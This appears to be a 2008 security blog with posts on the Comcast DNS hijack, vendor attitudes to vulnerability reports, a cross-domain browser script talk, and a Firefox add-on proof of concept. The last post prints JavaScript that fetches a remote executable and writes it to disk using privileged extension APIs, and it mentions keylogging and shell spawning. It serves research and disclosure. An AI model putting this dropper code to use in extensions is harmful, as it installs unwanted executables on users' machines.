Saturday, May 31, 2008

Comcast: A chain is only as strong...

| Armando Romeo |

What happened to Comcast few days ago made me think a lot.
They have been hijacked through dns, their site defaced
and they still don't know if the hackers have played something more elite before leaving the ugly message on the second biggest US ISP home page.

There's a really interesting blog post about the interview released by one of the two hackers known as Defiant and EBK.

I slept in my clothes, because the last time they came, I was in my underwear with my dong hanging out and shit

Their identity has been almost immediately discovered and they will probably have not a good summer.

Beside that, what is most interesting into this hack is that the vulnerability is not to blame to Comcast but to the Comcast's domain management console at Network Solutions.



So a completely different server under a completely different administrative domain.

This kind of hack is not new.
Domain hijacking is no more a last resort for hackers.
Above all for secured websites. It happened to hackerscenter and zone-h. (Yes sigh, audit your hosting panels before you hit Order button)

Domain registrar panels have vulnerabilities.
Hosting company's billing panels have vulnerabilities.
And these can be mount point for attacks to Hijacking DNS or gaining full access to the website server.

But, when I read about this story, I started wondering.
What happened if, instead of Comcast, they hacked a big merchant/retailer website?
Easily enough they could have collected some hundreds (if not more) of credit cards in few hours.
Comcast hijacking lasted only few hours (2 says Comcast), just because they called domain technical contact on the phone warning him about the ownage.

Next question is: considering the happenings above, is PCI certification still valuable for customers to measure a merchant safety level?
Probably not or not completely, and PCI is not to blame for this.

PCI compliance is pushing merchant websites security upwards, but there's no
way, no WAF or code review that can secure a website from attacks held through other administrative domains.

A chain is only as strong as its weakest link.
And the weakest link is not in our hands.
That's what we can learn from Comcast story.

Wednesday, May 28, 2008

Security - Am I phobic?

| Armando Romeo |
Am I being pedantic in reporting a CSRF vulnerability?
I have had the (bad?) luck of being in the position of reporting vulnerabilities to many software vendors.
Most of these were web application related. Wether I did it for fun, for commitment or for my own site security I always liked the reponsible disclosure approach.

I feel, we good guys, should help the developer community learn from their mistakes with some compassion.

But the more I work in the security field the more questions arise to my mind.
Am I being paranoic when I explain how a cross site scripting can ruin a website credibility, steal customers data and lead to malware propagation?

Well, sometimes, when you talk to software vendors and you have to show them the risks related to your findings you feel like phobic. They make you feel such, with their "so what?", "it seems hard to exploit" or "is this a vulnerability for real?".

I decided to talk about this after reading that an authority in the field posted his feelings about this as well.

I feel like only security community tend to give the right weight to each kind of vulnerabilities while the vendors base just make a reasoning about ROI, image (stock exchange) impact and risk acceptance.

Security layer is implemented only when it becomes a duty.
Being it by laws or compliance.
Security for sake of security is just a motto of some open source projects like Joomla. You wouldn't believe how interested they are into fixing and hardening this FREE CMS. Why?
Because they have the knowledge to do it on their own without outsourcing it.
Vendors have, most of the time, to outsource audits and security plans to third party companies.

Outsourced security gives better results 99% of the times since it is carried on by people doing this to live. But it is also costly and not guaranting any 100% security. No security company can afford any guarantee.

So security professionals are becoming more and more sales men.
They need to be persuasive:
if you don't secure your self, you will get hacked and lose more money than what you're giving me now to secure yourself.
Moreover, outsourced security contracts are being used to show at least "good intentions" when customers complain
about stolen credit cards. I mean, they can become an attenuate when a hacked company has to indemnify its customers
after a disaster.

That's why risk/vulnerability assessment, has its importance.
I would make it the first step in a security engagement.
And I'm more than happy to see more compliance rules forcing companies to demonstrate a minimum certified security level.

Not that these compliance (like PCI) are synonymous of security, but at least, we, security good guys, know that we are not talking to walls.
They have to listen to us, because I know we are not phobic.

Thursday, May 22, 2008

Cross Domain Thriller

| Armando Romeo |

Manuel Caballero's speech at Microsoft's BlueHat conference has gifted a nice thrilling story to talk about. Giorgio Maone and sirdarkcat are trying to descramble the enigma about this resident script vector able to allow cross-domain scripting through Iframes. Stealing cookies though has not been confirmed as far as I know.

Manuel's speech title was "A Resident in My Domain", that is how a script can be resident in all the pages browsed by a user with FF and IE (6,7). No matter what, all the domains can be ghost-infected since the ectoplasm is in the browser (that references new windows and control them) and not in the application code. Nice enough to create a lot of noise in the field.

Manuel is a penetration tester for Microsoft. He obviously didn't disclose the attacking vector but demonstrated it causing "shocking feelings" in the room as someone witnessed. I wasn't there. I'm sure noone died for heart attack though.

Now, lemme ask a question. Why hasn't Microsoft patched the browser before all this came out on the scene? The attack seems to be still working and noone is going to say more than what Microsoft wants to be known about the subject.

Quoting from Manuel's abstract:

"Imagine an invisible script that silently follows you while you surf, even after changing the URL 1000 times and you are feeling completely safe. Now imagine that the ghost is able to see everything you do, including where (location) you are surfing, what you are typing (passwords included) and even guess your next move. No downloading required, no user confirmation, no ActiveX. In other words: no strings attached. We will examine the power of a resident script and the power of a global cross domain. Also, we go through a step by step approach on how to find cross domains and a resident scripts. "


Nice, let's patch it!

Wednesday, May 14, 2008

More Firefox Addons ownage - POC

| Armando Romeo |

My research aim was to explore the capabilities of firefox extensions just to see what they can or can't do. I have found out that they are just as powerful as any other executable on your hard drive and since they are javascript running within Firefox environment they are not detected by AV's or addons like Noscript.

Reading past news headlines I have found other researchers interested into this kind of research , so I am not alone.

Once again I didn't want to use any external XPCOM library as mentioned in my previous research . Just plain javascript.

This time we are able to write any kind of file anywhere on the hard drive.

Firefox gives such privileges only to local chrome, that is the extensions you manually install on your browser. This shouldn't work with remote XUL files (hopefully).

The problem here is that people is invited to install a backdoored extension as happened to the vietnamese firefox language pack that has been backdoored with adware and installed on thousands of PC's.

What is worse in this story is not the infection in itself, very possible and easy as demonstrated by my research, but the fact that the infected extension has been given by mozilla.com trusted domain (the official mozilla addons page yes).

While discussing my research with Yash , CTO of securitybrigade.com, this came up as a mitigating factor. We do believed that Mozilla at least had a an approval process before giving an extension for download on the trusted domain. But Vietnamese hackers managed to demonstrate this is not (always) true.

So let's come to this new proof of concept.
Our aim is to retrieve a file and put it on the local hard drive.

Our file can be an executable. This wants to demonstrate the full access of firefox addons to the local filesystem.

Writing to a file is an easy task :

function savefile() {
try {

netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");

} catch (e) {
alert("Cannot write to disk");
}
var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile);
file.initWithPath( "C:\\test.exe");

file.create( Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420 );

var outputStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance( Components.interfaces.nsIFileOutputStream );

outputStream.init( file, 0x04 | 0x08 | 0x20, 3, 0 );

var result = outputStream.write( bytestream, bytestream.length);
outputStream.close();
}

Our bytestream variable contains the bytes of the retrieved executable.
This can be obtained simply using XmlHTTPRequest:

function getFile() {

var url="http://localhost/hackerscenter/test.exe";

http=new XMLHttpRequest();
http.onreadystatechange=handleRequest;
http.open("GET",url,true);
http.send(null);

}


getFile() function is called at startup to make a request for a remote file.
handleRequest() will be our callback function when the request has been fulfilled and a response received (asynchronous call).

When a response is received savefile() wil just write it on local disk.

The most important part of this snippet is the call to


netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");

That is we ask Mozilla to give us privileges according to the privilege scheme allowed in our context. Since this is a local XUL file, we are allowed to read/write the filesystem.

I didn't want to provide an installable package to keep script kiddies away.
I have not added the code for handling truncation of binary data when the null byte is encountered.



Conclusion

We are able to read write on disk. We are able to keylog typed chars in the Firefox window. We are able to change Firefox preferences. With the use of external loaded libraries it is even possible to spawn shells! This was just a quick survey on the capabilities of addons that brings up the need for strong validation and approval process before they get on trusted domains like the official mozilla addon website.

Free Security Magazines